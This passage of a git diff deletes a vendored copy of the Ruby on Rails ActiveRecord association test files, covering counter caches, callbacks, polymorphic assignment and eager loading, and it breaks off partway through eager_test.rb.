-    assert_equal 0, Web::Topic.find(t1.id).replies.size
-    assert_equal 1, Web::Topic.find(t2.id).replies.size
-  end
-
-  def test_belongs_to_counter_after_save
-    topic = Topic.create!(:title => "monday night")
-    topic.replies.create!(:title => "re: monday night", :content => "football")
-    assert_equal 1, Topic.find(topic.id)[:replies_count]
-
-    topic.save!
-    assert_equal 1, Topic.find(topic.id)[:replies_count]
-  end
-
-  def test_belongs_to_counter_after_update_attributes
-    topic = Topic.create!(:title => "37s")
-    topic.replies.create!(:title => "re: 37s", :content => "rails")
-    assert_equal 1, Topic.find(topic.id)[:replies_count]
-
-    topic.update_attributes(:title => "37signals")
-    assert_equal 1, Topic.find(topic.id)[:replies_count]
-  end
-
-  def test_assignment_before_child_saved
-    final_cut = Client.new("name" => "Final Cut")
-    firm = Firm.find(1)
-    final_cut.firm = firm
-    assert final_cut.new_record?
-    assert final_cut.save
-    assert !final_cut.new_record?
-    assert !firm.new_record?
-    assert_equal firm, final_cut.firm
-    assert_equal firm, final_cut.firm(true)
-  end
-
-  def test_assignment_before_child_saved_with_primary_key
-    final_cut = Client.new("name" => "Final Cut")
-    firm = Firm.find(1)
-    final_cut.firm_with_primary_key = firm
-    assert final_cut.new_record?
-    assert final_cut.save
-    assert !final_cut.new_record?
-    assert !firm.new_record?
-    assert_equal firm, final_cut.firm_with_primary_key
-    assert_equal firm, final_cut.firm_with_primary_key(true)
-  end
-
-  def test_new_record_with_foreign_key_but_no_object
-    c = Client.new("firm_id" => 1)
-    assert_equal Firm.find(:first), c.firm_with_basic_id
-  end
-
-  def test_forgetting_the_load_when_foreign_key_enters_late
-    c = Client.new
-    assert_nil c.firm_with_basic_id
-
-    c.firm_id = 1
-    assert_equal Firm.find(:first), c.firm_with_basic_id
-  end
-
-  def test_field_name_same_as_foreign_key
-    computer = Computer.find(1)
-    assert_not_nil computer.developer, ":foreign key == attribute didn't lock up" # '
-  end
-
-  def test_counter_cache
-    topic = Topic.create :title => "Zoom-zoom-zoom"
-    assert_equal 0, topic[:replies_count]
-
-    reply = Reply.create(:title => "re: zoom", :content => "speedy quick!")
-    reply.topic = topic
-
-    assert_equal 1, topic.reload[:replies_count]
-    assert_equal 1, topic.replies.size
-
-    topic[:replies_count] = 15
-    assert_equal 15, topic.replies.size
-  end
-
-  def test_custom_counter_cache
-    reply = Reply.create(:title => "re: zoom", :content => "speedy quick!")
-    assert_equal 0, reply[:replies_count]
-
-    silly = SillyReply.create(:title => "gaga", :content => "boo-boo")
-    silly.reply = reply
-
-    assert_equal 1, reply.reload[:replies_count]
-    assert_equal 1, reply.replies.size
-
-    reply[:replies_count] = 17
-    assert_equal 17, reply.replies.size
-  end
-
-  def test_association_assignment_sticks
-    post = Post.find(:first)
-
-    author1, author2 = Author.find(:all, :limit => 2)
-    assert_not_nil author1
-    assert_not_nil author2
-
-    # make sure the association is loaded
-    post.author
-
-    # set the association by id, directly
-    post.author_id = author2.id
-
-    # save and reload
-    post.save!
-    post.reload
-
-    # the author id of the post should be the id we set
-    assert_equal post.author_id, author2.id
-  end
-
-  def test_cant_save_readonly_association
-    assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_client).readonly_firm.save! }
-    assert companies(:first_client).readonly_firm.readonly?
-  end
-  
-  def test_polymorphic_assignment_foreign_type_field_updating
-    # should update when assigning a saved record
-    sponsor = Sponsor.new
-    member = Member.create
-    sponsor.sponsorable = member
-    assert_equal "Member", sponsor.sponsorable_type
-
-    # should update when assigning a new record
-    sponsor = Sponsor.new
-    member = Member.new
-    sponsor.sponsorable = member
-    assert_equal "Member", sponsor.sponsorable_type
-  end
-
-  def test_polymorphic_assignment_with_primary_key_foreign_type_field_updating
-    # should update when assigning a saved record
-    essay = Essay.new
-    writer = Author.create(:name => "David")
-    essay.writer = writer
-    assert_equal "Author", essay.writer_type
-
-    # should update when assigning a new record
-    essay = Essay.new
-    writer = Author.new
-    essay.writer = writer
-    assert_equal "Author", essay.writer_type
-  end
-
-  def test_polymorphic_assignment_updates_foreign_id_field_for_new_and_saved_records
-    sponsor = Sponsor.new
-    saved_member = Member.create
-    new_member = Member.new
-
-    sponsor.sponsorable = saved_member
-    assert_equal saved_member.id, sponsor.sponsorable_id
-
-    sponsor.sponsorable = new_member
-    assert_equal nil, sponsor.sponsorable_id
-  end
-
-  def test_polymorphic_assignment_with_primary_key_updates_foreign_id_field_for_new_and_saved_records
-    essay = Essay.new
-    saved_writer = Author.create(:name => "David")
-    new_writer = Author.new
-
-    essay.writer = saved_writer
-    assert_equal saved_writer.name, essay.writer_id
-
-    essay.writer = new_writer
-    assert_equal nil, essay.writer_id
-  end
-
-  def test_belongs_to_proxy_should_not_respond_to_private_methods
-    assert_raise(NoMethodError) { companies(:first_firm).private_method }
-    assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
-  end
-
-  def test_belongs_to_proxy_should_respond_to_private_methods_via_send
-    companies(:first_firm).send(:private_method)
-    companies(:second_client).firm.send(:private_method)
-  end
-
-  def test_save_of_record_with_loaded_belongs_to
-    @account = companies(:first_firm).account
-
-    assert_nothing_raised do
-      Account.find(@account.id).save!
-      Account.find(@account.id, :include => :firm).save!
-    end
-
-    @account.firm.delete
-
-    assert_nothing_raised do
-      Account.find(@account.id).save!
-      Account.find(@account.id, :include => :firm).save!
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/callbacks_test.rb b/vendor/rails/activerecord/test/cases/associations/callbacks_test.rb
deleted file mode 100644
index 91b1af12..00000000
--- a/vendor/rails/activerecord/test/cases/associations/callbacks_test.rb
+++ /dev/null
@@ -1,161 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/comment'
-require 'models/author'
-require 'models/category'
-require 'models/project'
-require 'models/developer'
-
-class AssociationCallbacksTest < ActiveRecord::TestCase
-  fixtures :posts, :authors, :projects, :developers
-
-  def setup
-    @david = authors(:david)
-    @thinking = posts(:thinking)
-    @authorless = posts(:authorless)
-    assert @david.post_log.empty?
-  end
-
-  def test_adding_macro_callbacks
-    @david.posts_with_callbacks << @thinking
-    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}"], @david.post_log
-    @david.posts_with_callbacks << @thinking
-    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}", "before_adding#{@thinking.id}",
-                  "after_adding#{@thinking.id}"], @david.post_log
-  end
-
-  def test_adding_with_proc_callbacks
-    @david.posts_with_proc_callbacks << @thinking
-    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}"], @david.post_log
-    @david.posts_with_proc_callbacks << @thinking
-    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}", "before_adding#{@thinking.id}",
-                  "after_adding#{@thinking.id}"], @david.post_log
-  end
-
-  def test_removing_with_macro_callbacks
-    first_post, second_post = @david.posts_with_callbacks[0, 2]
-    @david.posts_with_callbacks.delete(first_post)
-    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}"], @david.post_log
-    @david.posts_with_callbacks.delete(second_post)
-    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}", "before_removing#{second_post.id}",
-                  "after_removing#{second_post.id}"], @david.post_log
-  end
-
-  def test_removing_with_proc_callbacks
-    first_post, second_post = @david.posts_with_callbacks[0, 2]
-    @david.posts_with_proc_callbacks.delete(first_post)
-    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}"], @david.post_log
-    @david.posts_with_proc_callbacks.delete(second_post)
-    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}", "before_removing#{second_post.id}",
-                  "after_removing#{second_post.id}"], @david.post_log
-  end
-
-  def test_multiple_callbacks
-    @david.posts_with_multiple_callbacks << @thinking
-    assert_equal ["before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}", "after_adding#{@thinking.id}",
-                  "after_adding_proc#{@thinking.id}"], @david.post_log
-    @david.posts_with_multiple_callbacks << @thinking
-    assert_equal ["before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}", "after_adding#{@thinking.id}",
-                  "after_adding_proc#{@thinking.id}", "before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}",
-                  "after_adding#{@thinking.id}", "after_adding_proc#{@thinking.id}"], @david.post_log
-  end
-
-  def test_has_many_callbacks_with_create
-    morten = Author.create :name => "Morten"
-    post = morten.posts_with_proc_callbacks.create! :title => "Hello", :body => "How are you doing?"
-    assert_equal ["before_adding<new>", "after_adding#{post.id}"], morten.post_log
-  end
-
-  def test_has_many_callbacks_with_create!
-    morten = Author.create! :name => "Morten"
-    post = morten.posts_with_proc_callbacks.create :title => "Hello", :body => "How are you doing?"
-    assert_equal ["before_adding<new>", "after_adding#{post.id}"], morten.post_log
-  end
-
-  def test_has_many_callbacks_for_save_on_parent
-    jack = Author.new :name => "Jack"
-    post = jack.posts_with_callbacks.build :title => "Call me back!", :body => "Before you wake up and after you sleep"
-
-    callback_log = ["before_adding<new>", "after_adding#{jack.posts_with_callbacks.first.id}"]
-    assert_equal callback_log, jack.post_log
-    assert jack.save
-    assert_equal 1, jack.posts_with_callbacks.count
-    assert_equal callback_log, jack.post_log
-  end
-
-  def test_has_and_belongs_to_many_add_callback
-    david = developers(:david)
-    ar = projects(:active_record)
-    assert ar.developers_log.empty?
-    ar.developers_with_callbacks << david
-    assert_equal ["before_adding#{david.id}", "after_adding#{david.id}"], ar.developers_log
-    ar.developers_with_callbacks << david
-    assert_equal ["before_adding#{david.id}", "after_adding#{david.id}", "before_adding#{david.id}",
-                  "after_adding#{david.id}"], ar.developers_log
-  end
-
-  def test_has_and_belongs_to_many_after_add_called_after_save
-    ar = projects(:active_record)
-    assert ar.developers_log.empty?
-    alice = Developer.new(:name => 'alice')
-    ar.developers_with_callbacks << alice
-    assert_equal"after_adding#{alice.id}", ar.developers_log.last
-
-    bob = ar.developers_with_callbacks.create(:name => 'bob')
-    assert_equal "after_adding#{bob.id}", ar.developers_log.last
-
-    ar.developers_with_callbacks.build(:name => 'charlie')
-    assert_equal "after_adding<new>", ar.developers_log.last
-  end
-
-
-  def test_has_and_belongs_to_many_remove_callback
-    david = developers(:david)
-    jamis = developers(:jamis)
-    activerecord = projects(:active_record)
-    assert activerecord.developers_log.empty?
-    activerecord.developers_with_callbacks.delete(david)
-    assert_equal ["before_removing#{david.id}", "after_removing#{david.id}"], activerecord.developers_log
-
-    activerecord.developers_with_callbacks.delete(jamis)
-    assert_equal ["before_removing#{david.id}", "after_removing#{david.id}", "before_removing#{jamis.id}",
-                  "after_removing#{jamis.id}"], activerecord.developers_log
-  end
-
-  def test_has_and_belongs_to_many_remove_callback_on_clear
-    activerecord = projects(:active_record)
-    assert activerecord.developers_log.empty?
-    if activerecord.developers_with_callbacks.size == 0
-      activerecord.developers << developers(:david)
-      activerecord.developers << developers(:jamis)
-      activerecord.reload
-      assert activerecord.developers_with_callbacks.size == 2
-    end
-    log_array = activerecord.developers_with_callbacks.collect {|d| ["before_removing#{d.id}","after_removing#{d.id}"]}.flatten.sort
-    assert activerecord.developers_with_callbacks.clear
-    assert_equal log_array, activerecord.developers_log.sort
-  end
-
-  def test_has_many_and_belongs_to_many_callbacks_for_save_on_parent
-    project = Project.new :name => "Callbacks"
-    project.developers_with_callbacks.build :name => "Jack", :salary => 95000
-
-    callback_log = ["before_adding<new>", "after_adding<new>"]
-    assert_equal callback_log, project.developers_log
-    assert project.save
-    assert_equal 1, project.developers_with_callbacks.size
-    assert_equal callback_log, project.developers_log
-  end
-
-  def test_dont_add_if_before_callback_raises_exception
-    assert !@david.unchangable_posts.include?(@authorless)
-    begin
-      @david.unchangable_posts << @authorless
-    rescue Exception => e
-    end
-    assert @david.post_log.empty?
-    assert !@david.unchangable_posts.include?(@authorless)
-    @david.reload
-    assert !@david.unchangable_posts.include?(@authorless)
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/vendor/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
deleted file mode 100644
index 45e74ea0..00000000
--- a/vendor/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ /dev/null
@@ -1,131 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/comment'
-require 'models/author'
-require 'models/category'
-require 'models/categorization'
-require 'models/company'
-require 'models/topic'
-require 'models/reply'
-
-class CascadedEagerLoadingTest < ActiveRecord::TestCase
-  fixtures :authors, :mixins, :companies, :posts, :topics, :accounts, :comments, :categorizations
-
-  def test_eager_association_loading_with_cascaded_two_levels
-    authors = Author.find(:all, :include=>{:posts=>:comments}, :order=>"authors.id")
-    assert_equal 2, authors.size
-    assert_equal 5, authors[0].posts.size
-    assert_equal 1, authors[1].posts.size
-    assert_equal 9, authors[0].posts.collect{|post| post.comments.size }.inject(0){|sum,i| sum+i}
-  end
-
-  def test_eager_association_loading_with_cascaded_two_levels_and_one_level
-    authors = Author.find(:all, :include=>[{:posts=>:comments}, :categorizations], :order=>"authors.id")
-    assert_equal 2, authors.size
-    assert_equal 5, authors[0].posts.size
-    assert_equal 1, authors[1].posts.size
-    assert_equal 9, authors[0].posts.collect{|post| post.comments.size }.inject(0){|sum,i| sum+i}
-    assert_equal 1, authors[0].categorizations.size
-    assert_equal 2, authors[1].categorizations.size
-  end
-
-  def test_eager_association_loading_with_cascaded_two_levels_with_two_has_many_associations
-    authors = Author.find(:all, :include=>{:posts=>[:comments, :categorizations]}, :order=>"authors.id")
-    assert_equal 2, authors.size
-    assert_equal 5, authors[0].posts.size
-    assert_equal 1, authors[1].posts.size
-    assert_equal 9, authors[0].posts.collect{|post| post.comments.size }.inject(0){|sum,i| sum+i}
-  end
-
-  def test_eager_association_loading_with_cascaded_two_levels_and_self_table_reference
-    authors = Author.find(:all, :include=>{:posts=>[:comments, :author]}, :order=>"authors.id")
-    assert_equal 2, authors.size
-    assert_equal 5, authors[0].posts.size
-    assert_equal authors(:david).name, authors[0].name
-    assert_equal [authors(:david).name], authors[0].posts.collect{|post| post.author.name}.uniq
-  end
-
-  def test_eager_association_loading_with_cascaded_two_levels_with_condition
-    authors = Author.find(:all, :include=>{:posts=>:comments}, :conditions=>"authors.id=1", :order=>"authors.id")
-    assert_equal 1, authors.size
-    assert_equal 5, authors[0].posts.size
-  end
-
-  def test_eager_association_loading_with_cascaded_three_levels_by_ping_pong
-    firms = Firm.find(:all, :include=>{:account=>{:firm=>:account}}, :order=>"companies.id")
-    assert_equal 2, firms.size
-    assert_equal firms.first.account, firms.first.account.firm.account
-    assert_equal companies(:first_firm).account, assert_no_queries { firms.first.account.firm.account }
-    assert_equal companies(:first_firm).account.firm.account, assert_no_queries { firms.first.account.firm.account }
-  end
-
-  def test_eager_association_loading_with_has_many_sti
-    topics = Topic.find(:all, :include => :replies, :order => 'topics.id')
-    first, second, = topics(:first).replies.size, topics(:second).replies.size
-    assert_no_queries do
-      assert_equal first, topics[0].replies.size
-      assert_equal second, topics[1].replies.size
-    end
-  end
-
-  def test_eager_association_loading_with_has_many_sti_and_subclasses
-    silly = SillyReply.new(:title => "gaga", :content => "boo-boo", :parent_id => 1)
-    silly.parent_id = 1
-    assert silly.save
-
-    topics = Topic.find(:all, :include => :replies, :order => 'topics.id, replies_topics.id')
-    assert_no_queries do
-      assert_equal 2, topics[0].replies.size
-      assert_equal 0, topics[1].replies.size
-    end
-  end
-
-  def test_eager_association_loading_with_belongs_to_sti
-    replies = Reply.find(:all, :include => :topic, :order => 'topics.id')
-    assert replies.include?(topics(:second))
-    assert !replies.include?(topics(:first))
-    assert_equal topics(:first), assert_no_queries { replies.first.topic }
-  end
-
-  def test_eager_association_loading_with_multiple_stis_and_order
-    author = Author.find(:first, :include => { :posts => [ :special_comments , :very_special_comment ] }, :order => 'authors.name, comments.body, very_special_comments_posts.body', :conditions => 'posts.id = 4')
-    assert_equal authors(:david), author
-    assert_no_queries do
-      author.posts.first.special_comments
-      author.posts.first.very_special_comment
-    end
-  end
-
-  def test_eager_association_loading_of_stis_with_multiple_references
-    authors = Author.find(:all, :include => { :posts => { :special_comments => { :post => [ :special_comments, :very_special_comment ] } } }, :order => 'comments.body, very_special_comments_posts.body', :conditions => 'posts.id = 4')
-    assert_equal [authors(:david)], authors
-    assert_no_queries do
-      authors.first.posts.first.special_comments.first.post.special_comments
-      authors.first.posts.first.special_comments.first.post.very_special_comment
-    end
-  end
-  
-  def test_eager_association_loading_where_first_level_returns_nil
-    authors = Author.find(:all, :include => {:post_about_thinking => :comments}, :order => 'authors.id DESC')
-    assert_equal [authors(:mary), authors(:david)], authors
-    assert_no_queries do
-      authors[1].post_about_thinking.comments.first
-    end
-  end
-end
-
-require 'models/vertex'
-require 'models/edge'
-class CascadedEagerLoadingTest < ActiveRecord::TestCase
-  fixtures :edges, :vertices
-
-  def test_eager_association_loading_with_recursive_cascading_four_levels_has_many_through
-    source = Vertex.find(:first, :include=>{:sinks=>{:sinks=>{:sinks=>:sinks}}}, :order => 'vertices.id')
-    assert_equal vertices(:vertex_4), assert_no_queries { source.sinks.first.sinks.first.sinks.first }
-  end
-
-  def test_eager_association_loading_with_recursive_cascading_four_levels_has_and_belongs_to_many
-    sink = Vertex.find(:first, :include=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC')
-    assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb b/vendor/rails/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
deleted file mode 100644
index 7c470616..00000000
--- a/vendor/rails/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require 'cases/helper'
-require 'models/post'
-require 'models/tagging'
-
-module Namespaced
-  class Post < ActiveRecord::Base
-    set_table_name 'posts'
-    has_one :tagging, :as => :taggable, :class_name => 'Tagging'
-  end
-end
-
-class EagerLoadIncludeFullStiClassNamesTest < ActiveRecord::TestCase
-
-  def setup
-    generate_test_objects
-  end
-
-  def generate_test_objects
-    post = Namespaced::Post.create( :title => 'Great stuff', :body => 'This is not', :author_id => 1 )
-    tagging = Tagging.create( :taggable => post )
-  end
-
-  def test_class_names
-    old = ActiveRecord::Base.store_full_sti_class
-
-    ActiveRecord::Base.store_full_sti_class = false
-    post = Namespaced::Post.find_by_title( 'Great stuff', :include => :tagging )
-    assert_nil post.tagging
-
-    ActiveRecord::Base.store_full_sti_class = true
-    post = Namespaced::Post.find_by_title( 'Great stuff', :include => :tagging )
-    assert_equal 'Tagging', post.tagging.class.name
-  ensure
-    ActiveRecord::Base.store_full_sti_class = old
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/vendor/rails/activerecord/test/cases/associations/eager_load_nested_include_test.rb
deleted file mode 100644
index 420011d6..00000000
--- a/vendor/rails/activerecord/test/cases/associations/eager_load_nested_include_test.rb
+++ /dev/null
@@ -1,131 +0,0 @@
-require 'cases/helper'
-require 'models/post'
-require 'models/author'
-require 'models/comment'
-require 'models/category'
-require 'models/categorization'
-require 'active_support/core_ext/array/random_access'
-
-module Remembered
-  def self.included(base)
-    base.extend ClassMethods
-    base.class_eval do
-      after_create :remember
-    protected
-      def remember; self.class.remembered << self; end
-    end
-  end
-
-  module ClassMethods
-    def remembered; @@remembered ||= []; end
-    def sample; @@remembered.sample; end
-  end
-end
-
-class ShapeExpression < ActiveRecord::Base
-  belongs_to :shape, :polymorphic => true
-  belongs_to :paint, :polymorphic => true
-end
-
-class Circle < ActiveRecord::Base
-  has_many :shape_expressions, :as => :shape
-  include Remembered
-end
-class Square < ActiveRecord::Base
-  has_many :shape_expressions, :as => :shape
-  include Remembered
-end
-class Triangle < ActiveRecord::Base
-  has_many :shape_expressions, :as => :shape
-  include Remembered
-end
-class PaintColor  < ActiveRecord::Base
-  has_many   :shape_expressions, :as => :paint
-  belongs_to :non_poly, :foreign_key => "non_poly_one_id", :class_name => "NonPolyOne"
-  include Remembered
-end
-class PaintTexture < ActiveRecord::Base
-  has_many   :shape_expressions, :as => :paint
-  belongs_to :non_poly, :foreign_key => "non_poly_two_id", :class_name => "NonPolyTwo"
-  include Remembered
-end
-class NonPolyOne < ActiveRecord::Base
-  has_many :paint_colors
-  include Remembered
-end
-class NonPolyTwo < ActiveRecord::Base
-  has_many :paint_textures
-  include Remembered
-end
-
-
-
-class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
-  NUM_SIMPLE_OBJS = 50
-  NUM_SHAPE_EXPRESSIONS = 100
-
-  def setup
-    generate_test_object_graphs
-  end
-
-  def teardown
-    [Circle, Square, Triangle, PaintColor, PaintTexture,
-     ShapeExpression, NonPolyOne, NonPolyTwo].each do |c|
-      c.delete_all
-    end
-
-  end
-
-
-  def generate_test_object_graphs
-    1.upto(NUM_SIMPLE_OBJS) do
-      [Circle, Square, Triangle, NonPolyOne, NonPolyTwo].map(&:create!)
-    end
-    1.upto(NUM_SIMPLE_OBJS) do
-      PaintColor.create!(:non_poly_one_id => NonPolyOne.sample.id)
-      PaintTexture.create!(:non_poly_two_id => NonPolyTwo.sample.id)
-    end
-    1.upto(NUM_SHAPE_EXPRESSIONS) do
-      shape_type = [Circle, Square, Triangle].sample
-      paint_type = [PaintColor, PaintTexture].sample
-      ShapeExpression.create!(:shape_type => shape_type.to_s, :shape_id => shape_type.sample.id,
-                              :paint_type => paint_type.to_s, :paint_id => paint_type.sample.id)
-    end
-  end
-
-  def test_include_query
-    res = 0
-    res = ShapeExpression.find :all, :include => [ :shape, { :paint => :non_poly } ]
-    assert_equal NUM_SHAPE_EXPRESSIONS, res.size
-    assert_queries(0) do
-      res.each do |se|
-        assert_not_nil se.paint.non_poly, "this is the association that was loading incorrectly before the change"
-        assert_not_nil se.shape, "just making sure other associations still work"
-      end
-    end
-  end
-end
-
-class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
-  def setup
-    @davey_mcdave = Author.create(:name => 'Davey McDave')
-    @first_post = @davey_mcdave.posts.create(:title => 'Davey Speaks', :body => 'Expressive wordage')
-    @first_comment = @first_post.comments.create(:body => 'Inflamatory doublespeak')
-    @first_categorization = @davey_mcdave.categorizations.create(:category => Category.first, :post => @first_post)
-  end
-
-  def teardown
-    @davey_mcdave.destroy
-    @first_post.destroy
-    @first_comment.destroy
-    @first_categorization.destroy
-  end
-
-  def test_missing_data_in_a_nested_include_should_not_cause_errors_when_constructing_objects
-    assert_nothing_raised do
-      # @davey_mcdave doesn't have any author_favorites
-      includes = {:posts => :comments, :categorizations => :category, :author_favorites => :favorite_author }
-      Author.all :include => includes, :conditions => {:authors => {:name => @davey_mcdave.name}}, :order => 'categories.name'
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/eager_load_nested_polymorphic_include.rb b/vendor/rails/activerecord/test/cases/associations/eager_load_nested_polymorphic_include.rb
deleted file mode 100644
index 3b8efe99..00000000
--- a/vendor/rails/activerecord/test/cases/associations/eager_load_nested_polymorphic_include.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-require 'cases/helper'
-require 'models/tee'
-require 'models/tie'
-require 'models/polymorphic_design'
-require 'models/polymorphic_price'
-
-class EagerLoadNestedPolymorphicIncludeTest < ActiveRecord::TestCase
-  fixtures :tees, :ties, :polymorphic_designs, :polymorphic_prices
-
-  def test_eager_load_polymorphic_has_one_nested_under_polymorphic_belongs_to
-    designs = PolymorphicDesign.scoped(:include => {:designable => :polymorphic_price})
-
-    associated_price_ids = designs.map{|design| design.designable.polymorphic_price.id}
-    expected_price_ids = [1, 2, 3, 4]
-
-    assert expected_price_ids.all?{|expected_id| associated_price_ids.include?(expected_id)},
-      "Expected associated prices to be #{expected_price_ids.inspect} but they were #{associated_price_ids.sort.inspect}"
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/eager_singularization_test.rb b/vendor/rails/activerecord/test/cases/associations/eager_singularization_test.rb
deleted file mode 100644
index 07d0b246..00000000
--- a/vendor/rails/activerecord/test/cases/associations/eager_singularization_test.rb
+++ /dev/null
@@ -1,145 +0,0 @@
-require "cases/helper"
-
-class Virus < ActiveRecord::Base
-  belongs_to :octopus
-end
-class Octopus < ActiveRecord::Base
-  has_one :virus
-end
-class Pass < ActiveRecord::Base
-  belongs_to :bus
-end
-class Bus < ActiveRecord::Base
-  has_many :passes
-end
-class Mess < ActiveRecord::Base
-  has_and_belongs_to_many :crises
-end
-class Crisis < ActiveRecord::Base
-  has_and_belongs_to_many :messes
-  has_many :analyses, :dependent => :destroy
-  has_many :successes, :through => :analyses
-  has_many :dresses, :dependent => :destroy
-  has_many :compresses, :through => :dresses
-end
-class Analysis < ActiveRecord::Base
-  belongs_to :crisis
-  belongs_to :success
-end
-class Success < ActiveRecord::Base
-  has_many :analyses, :dependent => :destroy
-  has_many :crises, :through => :analyses
-end
-class Dress < ActiveRecord::Base
-  belongs_to :crisis
-  has_many :compresses
-end
-class Compress < ActiveRecord::Base
-  belongs_to :dress
-end
-
-
-class EagerSingularizationTest < ActiveRecord::TestCase
-
-  def setup
-    if ActiveRecord::Base.connection.supports_migrations?
-      ActiveRecord::Base.connection.create_table :viri do |t|
-        t.column :octopus_id, :integer
-        t.column :species, :string
-      end
-      ActiveRecord::Base.connection.create_table :octopi do |t|
-        t.column :species, :string
-      end
-      ActiveRecord::Base.connection.create_table :passes do |t|
-        t.column :bus_id, :integer
-        t.column :rides, :integer
-      end
-      ActiveRecord::Base.connection.create_table :buses do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :crises_messes, :id => false do |t|
-        t.column :crisis_id, :integer
-        t.column :mess_id, :integer
-      end
-      ActiveRecord::Base.connection.create_table :messes do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :crises do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :successes do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :analyses do |t|
-        t.column :crisis_id, :integer
-        t.column :success_id, :integer
-      end
-      ActiveRecord::Base.connection.create_table :dresses do |t|
-        t.column :crisis_id, :integer
-      end
-      ActiveRecord::Base.connection.create_table :compresses do |t|
-        t.column :dress_id, :integer
-      end
-      @have_tables = true
-    else
-      @have_tables = false
-    end
-  end
-
-  def teardown
-    ActiveRecord::Base.connection.drop_table :viri
-    ActiveRecord::Base.connection.drop_table :octopi
-    ActiveRecord::Base.connection.drop_table :passes
-    ActiveRecord::Base.connection.drop_table :buses
-    ActiveRecord::Base.connection.drop_table :crises_messes
-    ActiveRecord::Base.connection.drop_table :messes
-    ActiveRecord::Base.connection.drop_table :crises
-    ActiveRecord::Base.connection.drop_table :successes
-    ActiveRecord::Base.connection.drop_table :analyses
-    ActiveRecord::Base.connection.drop_table :dresses
-    ActiveRecord::Base.connection.drop_table :compresses
-  end
-
-  def test_eager_no_extra_singularization_belongs_to
-    return unless @have_tables
-    assert_nothing_raised do
-      Virus.find(:all, :include => :octopus)
-    end
-  end
-
-  def test_eager_no_extra_singularization_has_one
-    return unless @have_tables
-    assert_nothing_raised do
-      Octopus.find(:all, :include => :virus)
-    end
-  end
-
-  def test_eager_no_extra_singularization_has_many
-    return unless @have_tables
-    assert_nothing_raised do
-      Bus.find(:all, :include => :passes)
-    end
-  end
-
-  def test_eager_no_extra_singularization_has_and_belongs_to_many
-    return unless @have_tables
-    assert_nothing_raised do
-      Crisis.find(:all, :include => :messes)
-      Mess.find(:all, :include => :crises)
-    end
-  end
-
-  def test_eager_no_extra_singularization_has_many_through_belongs_to
-    return unless @have_tables
-    assert_nothing_raised do
-      Crisis.find(:all, :include => :successes)
-    end
-  end
-
-  def test_eager_no_extra_singularization_has_many_through_has_many
-    return unless @have_tables
-    assert_nothing_raised do
-      Crisis.find(:all, :include => :compresses)
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/eager_test.rb b/vendor/rails/activerecord/test/cases/associations/eager_test.rb
deleted file mode 100644
index b7117193..00000000
--- a/vendor/rails/activerecord/test/cases/associations/eager_test.rb
+++ /dev/null
@@ -1,852 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/tagging'
-require 'models/tag'
-require 'models/comment'
-require 'models/author'
-require 'models/category'
-require 'models/company'
-require 'models/person'
-require 'models/reader'
-require 'models/owner'
-require 'models/pet'
-require 'models/reference'
-require 'models/job'
-require 'models/subscriber'
-require 'models/subscription'
-require 'models/book'
-require 'models/developer'
-require 'models/project'
-
-class EagerAssociationTest < ActiveRecord::TestCase
-  fixtures :posts, :comments, :authors, :author_addresses, :categories, :categories_posts,
-            :companies, :accounts, :tags, :taggings, :people, :readers,
-            :owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
-            :developers, :projects, :developers_projects
-
-  def test_loading_with_one_association
-    posts = Post.find(:all, :include => :comments)
-    post = posts.find { |p| p.id == 1 }
-    assert_equal 2, post.comments.size
-    assert post.comments.include?(comments(:greetings))
-
-    post = Post.find(:first, :include => :comments, :conditions => "posts.title = 'Welcome to the weblog'")
-    assert_equal 2, post.comments.size
-    assert post.comments.include?(comments(:greetings))
-
-    posts = Post.find(:all, :include => :last_comment)
-    post = posts.find { |p| p.id == 1 }
-    assert_equal Post.find(1).last_comment, post.last_comment
-  end
-
-  def test_loading_with_one_association_with_non_preload
-    posts = Post.find(:all, :include => :last_comment, :order => 'comments.id DESC')
-    post = posts.find { |p| p.id == 1 }
-    assert_equal Post.find(1).last_comment, post.last_comment
-  end
-
-  def test_loading_conditions_with_or
-    posts = authors(:david).posts.find(:all, :include => :comments, :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE} = 'SpecialComment'")
